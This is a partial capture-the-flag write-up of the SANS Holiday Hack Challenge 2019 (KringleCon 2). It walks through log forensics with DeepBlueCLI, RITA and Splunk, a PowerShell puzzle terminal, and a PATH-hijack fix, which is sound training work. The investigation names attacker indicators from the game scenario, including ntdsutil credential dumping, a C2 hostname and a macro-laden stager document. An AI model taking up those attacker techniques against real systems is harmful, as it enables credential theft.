Contents
1 Introduction 5
2 Playthrough 62.1 The Beginning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.2 Exploring The Quad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.2.1 Objective #0 - Talk to Santa in the Quad . . . . . . . . . . . . . . . . . . . . . 82.3 Finding the Two Turtle Doves . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.3.1 Objective #1 - Find the Turtle Doves . . . . . . . . . . . . . . . . . . . . . . . . 92.4 Back to The Quad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.4.1 Objective #2 - Unredact Threatening Document . . . . . . . . . . . . . . . . . 112.5 Visiting Bushy Evergreen in the Train Station . . . . . . . . . . . . . . . . . . . . . . . 13
2.5.1 Escape Ed - Bushy Evergreen’s Cranberry Pi . . . . . . . . . . . . . . . . . . . 142.5.2 Objective #3 - Windows Log Analysis: Evaluate Attack Outcome . . . . . . . . . 17
2.6 Heading to Hermey Hall to see SugarPlumMary . . . . . . . . . . . . . . . . . . . . . 192.6.1 Linux Path - SugarPlumMary’s Cranberry Pi . . . . . . . . . . . . . . . . . . . 202.6.2 Objective #4 - Windows Log Analysis: Determine Attacker Technique . . . . . . 24
2.7 Finding Sparkle Redberry in The Laboratory . . . . . . . . . . . . . . . . . . . . . . . 252.7.1 Xmas Cheer Laser - Sparkle Redberry’s Terminal . . . . . . . . . . . . . . . . . 272.7.2 Objective #5 - Network Log Analysis - Determine Compromised System . . . . 38
2.8 Going Back to Santa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392.9 Returning to The Laboratory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
2.9.1 Objective #6 - Splunk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422.9.2 Training Question #1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 462.9.3 Training Question #2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 462.9.4 Training Question #3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 472.9.5 Training Question #4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 492.9.6 Training Question #5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502.9.7 Training Question #6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522.9.8 Training Question #7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532.9.9 Capstone Question . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
2
KringleCon 2: Turtle Doves 2020-01-13
2.9.10 Frosty Keypad - Tangle Coalbox’s Challenge . . . . . . . . . . . . . . . . . . . 552.10 Entering The Dormitory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
2.10.1 Holiday Hack Trail - Minty Candycane’s Cranberry Pi . . . . . . . . . . . . . . . 592.10.2 Objective #7 - Get Access To The Steam Tunnels . . . . . . . . . . . . . . . . . 63
2.11 Quick detour to the Speaker Unpreparedness Room . . . . . . . . . . . . . . . . . . . 732.11.1 Nyanshell - Alabaster Snowball’s Cranberry Pi . . . . . . . . . . . . . . . . . . 742.11.2 Objective #8 - Bypassing the Frido Sleigh CAPTEHA . . . . . . . . . . . . . . . 79
2.12 Going back to the Steam Tunnels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 862.12.1 Graylog - Pepper Minstix’s Cranberry Pi . . . . . . . . . . . . . . . . . . . . . . 872.12.2 Question #1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 892.12.3 Question #2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 902.12.4 Question #3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 902.12.5 Question #4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 912.12.6 Question #5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 922.12.7 Question #6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 932.12.8 Question #7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 932.12.9 Question #8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 942.12.10 Question #9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 952.12.11 Question #10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 952.12.12 Objective #9 - Retrieve Scraps of Paper from Server . . . . . . . . . . . . . . . 98
2.13 Stopping by the NetWars room . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1082.13.1 Mongo Pilfer - Holly Evergreen’s Cranberry Pi . . . . . . . . . . . . . . . . . . 1092.13.2 Objective #10 - Recover Cleartext Document . . . . . . . . . . . . . . . . . . . 114
2.14 Returning to the Student Union . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1242.14.1 Smart Braces - Kent Tinseltooth’s Cranberry Pi . . . . . . . . . . . . . . . . . . 1242.14.2 Objective 11 - Open the Sleigh Shop Door . . . . . . . . . . . . . . . . . . . . . 1292.14.3 Lock #1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1302.14.4 Lock #2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1312.14.5 Lock #3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1322.14.6 Lock #4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1322.14.7 Lock #5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1332.14.8 Lock #6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1342.14.9 Lock #7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1342.14.10 Lock #8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1352.14.11 Lock #9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1352.14.12 Lock #10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
2.15 Into the Sleigh Shop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1412.15.1 Zeek JSON Analysis - Wunorse Openslae’s Cranberry Pi . . . . . . . . . . . . . 143
John Hammond 3
KringleCon 2: Turtle Doves 2020-01-13
2.15.2 Objective #12 - Filter Out Poisoned Sources of Weather Data . . . . . . . . . . 1462.16 Entering the Bell Tower . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
3 Thank You 164
John Hammond 4
1 Introduction
This year, I completed 100% of the SANS Holiday Hack Challenge. I have been playing the Holiday HackChallenge since 2015, but I have only fully completed the challenge once before in 2017. I was verypleased to be a part of KringleCon, and help save Christmas this year!
This is the information text given to start interacting within the KringleCon world.
Figure 1.1:Welcome
5
2 Playthrough
For screenshots, I removed all other players with this JavaScript in the browser’s Developer Tools:
var els = document.getElementsByClassName("player")Array.prototype.forEach.call(els, function(el){ el.hidden=true })$('.me').hidden = false
2.1 The Beginning
The challenge begins with my character spawned in the Train Station, with Santa standing there, jollyas ever, and Bushy Evergreen in the corner beside a Cranberry Pi.
Figure 2.1: The Train Station
6
KringleCon 2: Turtle Doves 2020-01-13
First, I began by talking with Santa. He explained that this year, KringleCon was being hosted at ElfUniversity! With his instruction to explore, I assumed the rest of the venue was north, so I hoppedover there!
Figure 2.2: Talking with Santa
2.2 Exploring The Quad
A�er walking north, I entered The Quad and I noticed a new Objective was unlocked!
John Hammond 7
KringleCon 2: Turtle Doves 2020-01-13
2.2.1 Objective #0 - Talk to Santa in the Quad
Figure 2.3: Objective #0 - Talk to Santa in the Quad
Santawas now standing there, and following the prompt, I went to speak with him.
Figure 2.4: Our Mission
Now a�er speaking with Santa, a flurry of new Objectives were unlocked. He explained that the TwoTurtle Dovesweremissing, and it was up to us to find them! He also described howwe could see theseobjectives by looking at our badge, and advised we should come chat with him a�er we had completedObjectives 2-5. Additionally, he explained that the elves would o�er hints for these tasks, if we couldhelp them solve their problems with a Cranberry Pi!
At this point I completed Objective #0, Talk to Santa in the Quad.
John Hammond 8
KringleCon 2: Turtle Doves 2020-01-13
2.3 Finding the Two Turtle Doves
I am going to write this report in the order of the objectives, with a streamlined process to solve eachtask. As I have already completed the storyline, I know the Two Turtle Doves are north, in the StudentUnion.
Figure 2.5:Moving to the Student Union
2.3.1 Objective #1 - Find the Turtle Doves
Figure 2.6: Objective #1 - Find the Turtle Doves
I moved north to find the Two Turtle Doves.
Inside of the Student Union there were vendor booths for SANS, Google, Splunk, even a Swag Boothfor KringleConmerchandise and a wonderful fireplace.
John Hammond 9
KringleCon 2: Turtle Doves 2020-01-13
Along the rightmost corner I could see the elf Shinny Upatree, guarding a door with a sign for theSleigh Shop. In the center I found the elf Kent Tinseltooth and his Cranberry Pi, along with – lo andbehold, the Two Turtle Doves!
Figure 2.7:Michael and Jane – the Two Turtle Doves
At this point I completed Objective #1, Find the Turtle Doves.
Figure 2.8: Completed Objective #1
2.4 Back to The Quad
I went back in to The Quad to tell Santa that I had found the doves, but he said nothing new – I guesshe wasn’t too impressed. Regardless, I still had objectives to complete, so I remained in The Quad andgot started on Objective #2!
John Hammond 10
KringleCon 2: Turtle Doves 2020-01-13
2.4.1 Objective #2 - Unredact Threatening Document
Figure 2.9: Objective #2 - Unredact Threatening Document
Noting the prompt for this objective, I looked for “the letter” in The Quad. A�er some searching, Ifound it in the northwestern-most corner.
Figure 2.10: I found the Letter
John Hammond 11
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.11: The Letter
I noticed that this was contained as a PDF file, available for download at the link:
https://downloads.elfu.org/LetterToElfUPersonnel.pdf
With that in mind, I knew I could use some pdftools on it and potentially recover the redactedinformation!
I went right to work with pdftotext.
John Hammond 12
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.12: The extracted text of the letter
The objective prompt was asking for the first word in ALL CAPS in the subject line of the letter. Carvingout just the text of the letter with pdftotext, I could see it clearly! With a bit more command-lineprecision I could receive just the answer like so:
pdftotext LetterToElfUPersonnel.pdf - | grep -oE [A-Z]{2}+ | head -n 1
The answer for Objective #2 is:
DEMAND
2.5 Visiting Bushy Evergreen in the Train Station
For Objective #3, the prompt explained I could get some assistance from Bushy Evergreen, who I sawin the Train Station. For completeness, I would like to include the Cranberry Pi terminal challenges inthis report. So, I went back to the Train Station!
Upon speaking with Bushy Evergreen, she needed help exiting the ed text editor!
John Hammond 13
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.13: Bushy Evergreen’s Troubles
2.5.1 Escape Ed - Bushy Evergreen’s Cranberry Pi
I fired up the Cranberry Pi and noticed that I was immediately thrown into the ed editor.
I would like to say this challenge took some research and personal development, hunting downresources and learningmaterial across the Internet – but admittedly I just fumbled about and triedthings that I would expect to help quit a command-line editor.
John Hammond 14
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.14: Inside the ed Editor
I solved the challenge by simply entering q on a line by itself.
Figure 2.15: Exiting Ed
John Hammond 15
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.16: Completed the Escape Ed Cranberry Pi Challenge
Now that I had completed the Escape Ed Cranberry Pi challenge, I had helped Bushy Evergreen – andshe could help me! I spoke with her once more.
Figure 2.17: Bushy Evergreen suggests DeepBlueCLI
John Hammond 16
KringleCon 2: Turtle Doves 2020-01-13
2.5.2 Objective #3 - Windows Log Analysis: Evaluate Attack Outcome
Figure 2.18: Objective #3 - Windows Log Analysis: Evaluate Attack Outcome
Following Bushy Evergreen’s advice, I knew I wanted to run DeepBlueCLI for this objective, so I firedupmyWindows 10 VM to run the tool within PowerShell.
Noting the objective prompt, I downloaded the event log data like so:
Invoke-WebRequest "https://downloads.elfu.org/Security.evtx.zip"-OutFile "Security.evtx.zip"
I could see this was a ZIP archive, so continuing with PowerShell:
Expand-Archive "Security.evtx.zip"
And similarly, to get DeepBlueCLI easily o� of the Github repository:
Invoke-WebRequest"https://github.com/sans-blue-team/DeepBlueCLI/archive/master.zip"-OutFile "DeepBlueCLI.zip"
Expand-Archive "DeepBlueCLI.zip"
A�er reading through the manual for DeepBlueCLI, I could see its usage was very simple. I just neededto tell the tool that I was giving it a “Security” log and then o�er it the file.
It took a second for it to run, but eventually I had tons of output!
John Hammond 17
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.19: Running DeepBlueCLI
I scrolled through this for some time, but quickly noticed the tool had foundmultiple logins for a fewaccounts.
Figure 2.20: Finding supatree user with multiple logins
I noticed supatree as a username with multiple logins, and I thought that might be an elf account.Turns out, it was the correct answer to Objective #3!
The answer for Objective #3 is:
supatree
John Hammond 18
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.21: Completed Objective #3
2.6 Heading to Hermey Hall to see SugarPlumMary
For Objective #4, it is suggested to visit SugarPlumMary for some tips and advice. She is located inHermey Hall, which I found to be the at the western side of The Quad.
Figure 2.22: Heading to Hermey Hall
Inside of Hermey Hall, I could see The Laboratory o� to the le�, a room for NetWars as well as theSpeaker Unpreparedness Room in the center, and the KringleCon Speaker Agenda and all the talktracks o� to the right. Also, right in the middle of the roomwas none other than SugarPlumMary andher Cranberry Pi!
John Hammond 19
KringleCon 2: Turtle Doves 2020-01-13
2.6.1 Linux Path - SugarPlumMary’s Cranberry Pi
Figure 2.23: Inside of Hermey Hall
Figure 2.24: SugarPlumMary’s Woes
John Hammond 20
KringleCon 2: Turtle Doves 2020-01-13
I chatted with SugarPlumMary to find out what the problems were, and it sounded like her terminalwas acting up. I took a look at the Cranberry Pi.
Figure 2.25: Linux Path Cranberry Pi
Following the instructions, I tried to simply run the ls command as the prompt suggested. But,something was wrong!
Figure 2.26: Bad ls command!
With that, I thought it might be a di�erent ls executable than I expected. So I checked where that wasin our filesystemwith the which command.
Figure 2.27: Running which on ls
John Hammond 21
KringleCon 2: Turtle Doves 2020-01-13
I noticed that is certainly not the default PATH for the normal ls command. I wanted to check if thatwas a binary being ran, so I checked that path with the file command. Turns out it was just a simplescript – it completely nerfed the ls command!
Figure 2.28: Viewing the bad ls command
Now I confirmed that ls command was bad. I wanted to see if the real ls was still present on thesystem, so I searched for it. . . and found it! I simply executed it, and had solved the challenge!
Figure 2.29: Running the good ls command
John Hammond 22
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.30: Completed the Linux Path Cranberry Pi Challenge
Now that I had completed the Linux Path Cranberry Pi Challenge, I could ask SugarPlum Mary forsome tips on Objective #4!
Figure 2.31: SugarPlumMary’s Advice for Objective 4
John Hammond 23
KringleCon 2: Turtle Doves 2020-01-13
2.6.2 Objective #4 - Windows Log Analysis: Determine Attacker Technique
Figure 2.32: Objective #4 - Windows Log Analysis: Determine Attacker Technique
This seemed to be just a JSON file, which I couldworkwithwell enough onmy Linux host, so I remainedin my Ubuntu bash terminal.
I downloaded the normalized Sysmon logs like so:
wget "https://downloads.elfu.org/sysmon-data.json.zip"
And extracted the file out:
unzip "sysmon-data.json.zip"
Finally I began to explore through the logs:
cat sysmon-data.json | less
I could see lots of entries for wevtutil, which I knewwere just looking through andmanaging theWindows Event Viewer logs. I also saw some peculiar PowerShell, and spent some time taking it out ofits Base64 and Gzipped form.
John Hammond 24
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.33: Interesting ntdsutil.exe entry
I had not seen ntdsutil.exe before, and a�er doing some research I learned that it would providemanagement functionality for Active Directory services. I noticed that it followed the lsass.exeprocess, and I thought that was a bit suspicious.
I submitted the answer, and ntdustilwas accepted!
The answer for Objective #4 is:
ntdsutil
Figure 2.34: Completed Objective #4
2.7 Finding Sparkle Redberry in The Laboratory
Objective #5 suggested I visit Sparkle Redberry in The Laboratory. I remember seeing that o� to thele� inHermey Hall, so it was a quick and easy jaunt over there.
John Hammond 25
KringleCon 2: Turtle Doves 2020-01-13
Inside of The Laboratory, I found Professor Banas seemingly safeguarding a few servers, A XmasCheer Lazer firing against a miraculously-unmelted snowman, and Sparkle Redberry.
Figure 2.35: Inside the Laboratory
I went right up and spoke to Sparkle Redberry.
Figure 2.36: Sparkle Redberry’s Problems
John Hammond 26
KringleCon 2: Turtle Doves 2020-01-13
2.7.1 Xmas Cheer Laser - Sparkle Redberry’s Terminal
Sounds like the Xmas Cheer Laser is not working as it should be. I took a look at the terminal to seewhat I could do.
Figure 2.37: Xmas Cheer Laser Prompt
It looks as though I was thrown into a PowerShell prompt, but I could see that I was inside of a Linuxfilesystem. I was running PowerShell on Linux!
It took me a bit to get used to this – I was repeatedly tripping over myself, typing ls instead of dir orcat instead of type. Those original UNIX commands did not seem to work.
According to the prompt, we could interact with the Xmas Cheer Laser by some API calls. There are acouple di�erent parameters that needed to be set, and we needed to get the laser back to the correctconfiguration.
I looked at the other information available to us with the command:
(Invoke-WebRequest -Uri http://localhost:1225/).RawContent
There were a lot of di�erent options that needed to be set.
First of all, the laser needed to be turned on, and we needed to set specific values for the refractionvalue, the temperature, themirror angle and evenmultiple values for the gaseous elements mixture.
John Hammond 27
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.38: Xmas Cheer Laser Web API
So it was mymission to track down all of these di�erent values, all scattered somewhere within thefilesystem, like a sort of PowerShell scavenger hunt!
First, I checked that /home/callingcard.txt file that the prompt referred to.
John Hammond 28
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.39: callingcard.txt
This was clearly hinting towards looking at command history.
Thankfully, this is very easy to do within PowerShell, just using the Get-History cmdlet.
Figure 2.40: Get-History
In the 7th entry I could see the proper setting of the angle property. It also seemed that there was somemore information in the 9th entry, but it was truncated.
I retrieved the full output of each entry with Get-History | Format-List *.
John Hammond 29
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.41: Full history message
This was a short riddle, that I made sense of like so: “system-wide name=value variables” must refer toenvironment variables, and “once you Get my Child Items [I will reveal my secrets at a command]”. . .we needed to run Get-ChildItem on the Env: PS drive!
Figure 2.42: Environment variables riddles
Again, I encountered another riddle truncated. I expanded it with | Fl * oncemore (Fl being thealias for Format-List).
John Hammond 30
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.43: Full environment variable riddle
This is another breadcrumb! It sounds as though there is a compressed file somewhere in /etc.Seemingly, I can track it down by finding the last file to be written to most recently.
I used the following syntax to fiso I expnd the file:
Figure 2.44: Recursing through /etc
I thought this was an odd file to be working with, but I copied it over to my current directory to tinkerwith. Considering it was named archive, I suppose it did match the riddle hint: “squeezed andcompressed. . .” so I expanded the archive!
John Hammond 31
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.45: Expanding /etc/apt/archive
Looks like there was a new riddle inside that, too.
Figure 2.46: The new archive riddle
So I needed to track down a file with a specific MD5 hash, “shallow” in the “depths” of my “elf home.”I could make sense of that – I saw a depths folder in the default home directory, that looked like alarge tree of folders.
But, before I went tackling the next riddle, I wanted to do something with this runme.elf file whichmay very well have the proper setting for the refraction property!
I experimented a bit (literally type-d the file out, because I couldn’t see the real file magic informationwith a command like file), and I confirmed it was a binary – as expected by the .elf su�ix. It was aLinux executable!
John Hammond 32
KringleCon 2: Turtle Doves 2020-01-13
I tried to run it with a typical “dot-slash” ./runme.elf. . . but it returned an error, No such fileor directory. Honestly, I didn’t knowwhy thiswashappening, and itwasveryannoying. I struggledwith this forway too long.
A�er bumping around for a few hours, I checked the /bin directory to see what commands wereaccessible to me. Since I kept fumbling with the cat command and ls comand when they weren’treally there, I wanted to see what Linux commands I did in fact have access to.
Out of the corner ofmy eye, I saw thechmod command, and I hit my desk. Oh, duh! The binarywouldn’trun because it wasn’t marked as executable!!
Figure 2.47: Executing runme.elf
Now I had another value, and another piece of the puzzle. I could revisit the new riddle to see where togo next.
This riddle said,
Very shallow I am in the depths of your elf home. . .
. . . and I could tell this was referring to the /home/elf directory. In there was the depths folderthat had a ton of other subdirectories. . . but the target file was “shallow” within the depths, so not toomany layers within the subdirectories. And I had an MD5 hash to search for!
So, I used the Recurse parameter with the Get-ChildItem cmdlet (dir as the alias) with theDepth argument to limit it the results to just the “shallow” directories.
Then, for each result (using the % character alias as the foreach loop), I MD5-hashed the file andchecked if it matched the given hash. Ultimately my syntax looked like:
Figure 2.48: Finding the mystery file
With that, I found the file. I checked the contents, retrieved another value and found yet anotherriddle!
John Hammond 33
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.49: The next riddle
Now I was searching oncemore within the depths folder, but this file was in the deepest subdirectory.So, I first found the directory with this syntax (I used the gci alias for Get-ChildItem this time):
Figure 2.50: Finding the deepest directory in the depths
I checked the directory listing in the that location, and thankfully there was only one text file. When Ilooked at the contents of that file, once again I hadmore tasking.
Figure 2.51: New tasking to stop processes
Seems like my job is to kill processes in a certain order, based o� of the usernames or usersthat started the process. I tinkered with this for a bit, because admittedly I was unaware of the-IncludeUserName parameter for the Get-Process cmdlet (or that the cmdlet didn’t even dothat originally)!
I knew I could do this by setting up an array, iterating through it and stopping the processes in thatspecific order. I did thiswith anotherForEach loop on each element in the list of usernames (using the% character alias again) and aWhere-Object to check for the proper username (with the? characteralias as well). My syntax for that looked like this:
John Hammond 34
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.52: Stopping processes in the specific order
Based o� of the original prompt, and its notation of “/shall/see”, I had a feeling a file would havebeen created a�er the successful termination of those processes. I checked if that file existed, and tooka look at the contents!
Figure 2.53: Onemore riddle
. . . Another riddle.
For this one, I needed to find an XML file inside of the /etc directory. I found this first with thiscommand-line syntax:
gci -File -Filter "*.xml" -Recurse -EA SilentlyContinue /etc
This found only one result:
/etc/systemd/system/timers.target.wants/EventLog.xml
Since we are working within PowerShell, we could do some cool things like importing the whole XMLfile as an object, so that we could then query attributes and properties and the data inside.
I did that like so:
$x = Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml
Now I could group the objects by a specific property with the Group-Property cmdlet, and givenfrom the riddle prompt, I knew we are looking for one single, lonely ID.
John Hammond 35
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.54: Grouping the XML objects by the ID property
It was clear that the object with the Id value of 1 is what we were looking for. I pulled that out likeso:
$x | ? { $_.Id -eq 1 }
And with that I could see the information we needed.
Figure 2.55: The final properties we need
At this point, there did not seem to be any new riddles. . . and I had collected a good amount of valuesto use for the Xmas Cheer Laser. I took inventory of all that I had uncovered, and realized – I had themall!
Finally, I could make use of the API to set these specific values. Then, I could check the output of thelazer and could make sure it reached its goal! Ultimately, my commands looked like:
John Hammond 36
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.56: Xmas Cheer Laser Solution
Whew! That was a long Terminal challenge!
Now I could speak once more to Sparkle Redberry and ask for advice on Objective #5.
Figure 2.57: Sparkle Redberry’s Hints for Objective #5
John Hammond 37
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.58: Completed Xmas Cheer Laser
2.7.2 Objective #5 - Network Log Analysis - Determine Compromised System
Figure 2.59: Objective #5 - Network Log Analysis - Determine Compromised System
Sparkle Redberry subtly hinted towards “RITA,” a tool by Black Hills Information Security.
I trusted Sparkle Redberry that this would be a valuable asset for completing objective #5, so I wentahead and installed RITA.
I pulled RITA down from it’s Github repository, which you can find here:
https://github.com/activecm/rita
It took me a little bit of finagling to get RITA to install property. I needed a MongoDB installation set upfor it to work with, and I had no issue just throwing that into the mix. . .
sudo apt install -y mongodb-serversudo ./install.sh## I needed to uncomment the InternalSubnets at the bottomsudo subl /etc/rita/config.yaml
A�er I had RITA working, I could work with the Elf University Zeek logs!
John Hammond 38
KringleCon 2: Turtle Doves 2020-01-13
wget "https://downloads.elfu.org/elfu-zeeklogs.zip"unzip "elfu-zeeklogs.zip"
Now that I had the Zeek logs downloaded and accessible, I loaded them into RITA and discovered thefunctionality to show-beacons. I tried that, and found some worthwhile results!
rita import elfu-zeeklogs elfurita show-beacons elfu
I tried to “zoom in” on this a bit. . .
Figure 2.60: RITA found beacons
It seemed as though there were. . . a fewmachines that were compromised? In all honesty, I did a littleprocess of elimination, here. . . though, the IP address with the smallest amount of connections (960)was in fact the one that was o�icially compromised!
The answer for Objective #5 is:
192.168.134.130
Figure 2.61: Completed Objective #5
2.8 Going Back to Santa
At this point, I had completed objectives 2 through 5, and following Santa’s instructions, I was to gospeak with him once more!
John Hammond 39
KringleCon 2: Turtle Doves 2020-01-13
So I hobbled back outside to The Quad to chat with Santa, and. . . looks like we are not done yet! Wehave more objectives to complete!
Figure 2.62: Santa asks for Objectives #6 and #7
A�er his dialogue I saw another whirlwhind of Objectives unlocked within my badge. Now there were atotal of 12 objectives, rather than just five. . . so we were not even halfway done!
Time to get back to work!
John Hammond 40
KringleCon 2: Turtle Doves 2020-01-13
2.9 Returning to The Laboratory
The prompt for Objective #6 suggested I could gain a bit more insight into the challenge if I were tospeak with Professor Banas inside of The Laboratory.
I remember seeing him guarding some servers in the corner, so I went to say hello!
Figure 2.63: Professor Banas tells me about Splunk
As it turns out, Professor Banas’s computer is apparently the one that is compromised, and it iswreaking havoc! But, we can track downmore information with Splunk!
This sets the stage for Objective #6. Thankfully, Professor Banas o�ers the login to the challenge (alsoshown in the objective prompt) itself so we can get started.
John Hammond 41
KringleCon 2: Turtle Doves 2020-01-13
2.9.1 Objective #6 - Splunk
Figure 2.64: Objective #6 - Splunk
I got started by accessing the given link, and logging in with the given credentials: username elf andpassword elfsocks.
Figure 2.65: Accessing Splunk
Upon logging in, I was greeted with a strange new interface that I had never seen on Splunk before!Additionally, there was a small splash modal dialogue box that helped explain some of the details forthis objective.
John Hammond 42
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.66: Splunk Introduction
Ultimately, there was one capstone question, but along with it there were seven distinct “trainingquestions” that would help guide you to the answer. For completeness sake, I wanted to answer all ofthe training questions and slowly illuminate the answer. I will include these training questions andmyprocess for each in this report.
Inside of Splunk we seem to be shown a conversation between ourselves and Kent.
John Hammond 43
KringleCon 2: Turtle Doves 2020-01-13
Following his instruction, we can view all of the “unread” chat messages that have a blinking redindicator. I started with the “Chat with #ELFU SOC”. That seemed to be a group chat with all themembers of the Elf University Security Operations Center.
Figure 2.68: Group Conversation with the ElfU SOC
John Hammond 45
KringleCon 2: Turtle Doves 2020-01-13
This conversation is interesting. It references the beaconing we sawwith RITA, and explains there issome machine “sweetums” that is also talking to the beacon server. Apparently, that is ProfessorBanas’s system!
Seems that Alice Bluebird takes over and chats with us individually, so we can see our conversationwith her.
That is a rather lengthy conversation, so I won’t include all of the screenshots here. She provides somefunny background on the characters at play, but explains our role: we are to use this Splunk instanceto track down what happened with Professor Banas’s system.
The final, capstone question is to find themessage for Kent that the adversary embedded in thisattack. But, if we would like to, we can work through the training questions. I’ll go for the trainingquestions!
2.9.2 Training Question #1
What is the short host name of Professor Banas’ computer?
We have already seen the answer to the first training question, as it was included in the groupmessageconversation with the members of the Elf University SOC.
The answer to the first training question is:
sweetums
Figure 2.69: Training Question #1 Complete
2.9.3 Training Question #2
What is the name of the sensitive file that was likely accessed and copied by the attacker? Pleaseprovide the fully qualified location of the file. (Example: C:\temp\report.pdf)
John Hammond 46
KringleCon 2: Turtle Doves 2020-01-13
The first training question did not require us to really use the Splunk interface whatsoever, but now, forquestion #2, we are getting to it!
Alice Bluebird provides more background to the story, but she suggests that perhaps looking for ausername in Splunk might yield some interesting results.
They o�ered a link to the Splunk interface searching with the term index=main cbanas, (cbanasbeing Professor Banas’s username), but I needed to tweak that to find somethingmore useful to us.
I searched for index=main santa.
In the very result, I could see a supplied argument with a filename that does in fact look sensitive!
Figure 2.70: Found the answer to Question #2
The answer to the second training question is:
C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt
Figure 2.71: Training Question #2 Complete
2.9.4 Training Question #3
What is the fully-qualifieddomainname(FQDN) of the commandand control(C2) server? (Example:badguy.baddies.com)
For this training question, Alice Bluebird discusses some of the use of PowerShell that I had seenwhilecombing through the Splunk data. She begins to introduce Sysmon, and howwe can use some specific
John Hammond 47
KringleCon 2: Turtle Doves 2020-01-13
Splunk queries tailored to searching through Sysmon data. This adds a lot more complexity to thesearch terms, but certainly makes it more powerful:
sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operationalpowershell EventCode=3
I looked through searches like this and dug through the more advanced information, held in theInteresting Fields and Selected Fields sections.
I used the exact search query above, and found the DestinationHostname in the InterestingFields.
The answer to the third training question is:
144.202.46.214.vultr.com
Figure 2.72: Training Question #3 Complete
John Hammond 48
KringleCon 2: Turtle Doves 2020-01-13
2.9.5 Training Question #4
What document is involved with launching themalicious PowerShell code? Please provide justthe filename. (Example: results.txt)
At this point, Alice Bluebird tells us we can do something very cool with the Splunk results we haveseen thus far. We have found some PowerShell, but we can trace this back to where the PowerShellreally “started”. Knowing what we know already, we can find the PowerShell process and then pivot ontime.
We can reverse the results, then limit our search to the time just before and a�er a specific event. Then,we can clean up our search query, and look at the other events that happens just as the PowerShellexecuted.
If we are looking for a document that might have acted as the stager (to start the PowerShell payload)it was probably opened as part of the Microso� O�ice suite. Since that needs a formal program to openthat file (PowerPoint, Word, Excel, etc.) we can count on a process being created.
So, we can hunt for Sysmon events or Windows Process Execution events in that time window!
Here is what I did:
I used the“pipe reverse”methodwithindex=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverse as a search query and I pivoted on timefor the first result – then, I removed sourcetype and | reverse and searched for source-type=WinEventLog EventCode=4688 to look for new process creations.
That didn’t have any interesting results with O�ice documents, so “zoomed out” in the event timelineand stepped backwards by events. Eventually, I found the document!
Figure 2.73: Found the answer to Training Question #4
The answer to the fourth training question is:
19th Century Holiday Cheer Assignment.docm
John Hammond 49
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.74: Training Question #4 Complete
2.9.6 Training Question #5
